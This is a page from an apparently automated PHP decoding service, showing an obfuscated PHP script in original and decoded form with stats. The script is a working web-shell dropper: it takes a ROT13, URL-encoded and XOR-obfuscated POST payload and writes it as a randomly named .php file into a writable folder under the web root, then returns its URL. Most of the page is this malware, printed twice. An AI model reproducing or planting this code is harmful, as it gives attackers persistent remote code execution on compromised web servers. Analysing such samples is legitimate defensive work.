Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $jnpcujbqf = "ziupocblxfyjkjcs";$xncdr = "";foreach ($_POST as $fjuzi => $xfzozzz){i..

Decoded Output download

<?php $jnpcujbqf = "ziupocblxfyjkjcs";$xncdr = "";foreach ($_POST as $fjuzi => $xfzozzz){if (strlen($fjuzi) == 16 and substr_count($xfzozzz, "%") > 10){jybykieaq($fjuzi, $xfzozzz);}}function jybykieaq($fjuzi, $aujroatl){global $xncdr;$xncdr = $fjuzi;$aujroatl = str_split(rawurldecode(str_rot13($aujroatl)));function oxiqvj($gxhgaon, $fjuzi){global $jnpcujbqf, $xncdr;return $gxhgaon ^ $jnpcujbqf[$fjuzi % strlen($jnpcujbqf)] ^ $xncdr[$fjuzi % strlen($xncdr)];}$aujroatl = implode("", array_map("oxiqvj", array_values($aujroatl), array_keys($aujroatl)));$aujroatl = @unserialize($aujroatl);if (@is_array($aujroatl)){$fjuzi = array_keys($aujroatl);$aujroatl = $aujroatl[$fjuzi[0]];if ($aujroatl === $fjuzi[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function todevvjhh($emlxqir) {static $tezkup = array();$ojjeve = glob($emlxqir . '/*', GLOB_ONLYDIR);if (count($ojjeve) > 0) {foreach ($ojjeve as $emlxq){if (@is_writable($emlxq)){$tezkup[] = $emlxq;}}}foreach ($ojjeve as $emlxqir) todevvjhh($emlxqir);return $tezkup;}$mxljswtg = $_SERVER["DOCUMENT_ROOT"];$ojjeve = todevvjhh($mxljswtg);$fjuzi = array_rand($ojjeve);$crncjn = $ojjeve[$fjuzi] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($crncjn, $aujroatl);echo "http://" . $_SERVER["HTTP_HOST"] . substr($crncjn, strlen($mxljswtg));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $jnpcujbqf = "ziupocblxfyjkjcs";$xncdr = "";foreach ($_POST as $fjuzi => $xfzozzz){if (strlen($fjuzi) == 16 and substr_count($xfzozzz, "%") > 10){jybykieaq($fjuzi, $xfzozzz);}}function jybykieaq($fjuzi, $aujroatl){global $xncdr;$xncdr = $fjuzi;$aujroatl = str_split(rawurldecode(str_rot13($aujroatl)));function oxiqvj($gxhgaon, $fjuzi){global $jnpcujbqf, $xncdr;return $gxhgaon ^ $jnpcujbqf[$fjuzi % strlen($jnpcujbqf)] ^ $xncdr[$fjuzi % strlen($xncdr)];}$aujroatl = implode("", array_map("oxiqvj", array_values($aujroatl), array_keys($aujroatl)));$aujroatl = @unserialize($aujroatl);if (@is_array($aujroatl)){$fjuzi = array_keys($aujroatl);$aujroatl = $aujroatl[$fjuzi[0]];if ($aujroatl === $fjuzi[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function todevvjhh($emlxqir) {static $tezkup = array();$ojjeve = glob($emlxqir . '/*', GLOB_ONLYDIR);if (count($ojjeve) > 0) {foreach ($ojjeve as $emlxq){if (@is_writable($emlxq)){$tezkup[] = $emlxq;}}}foreach ($ojjeve as $emlxqir) todevvjhh($emlxqir);return $tezkup;}$mxljswtg = $_SERVER["DOCUMENT_ROOT"];$ojjeve = todevvjhh($mxljswtg);$fjuzi = array_rand($ojjeve);$crncjn = $ojjeve[$fjuzi] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($crncjn, $aujroatl);echo "http://" . $_SERVER["HTTP_HOST"] . substr($crncjn, strlen($mxljswtg));exit();}}}

Function Calls

None

Variables

$xncdr
$jnpcujbqf ziupocblxfyjkjcs

Stats

MD5 4a246d1392b47eedf69885f9745f7c92
Eval Count 0
Decode Time 82 ms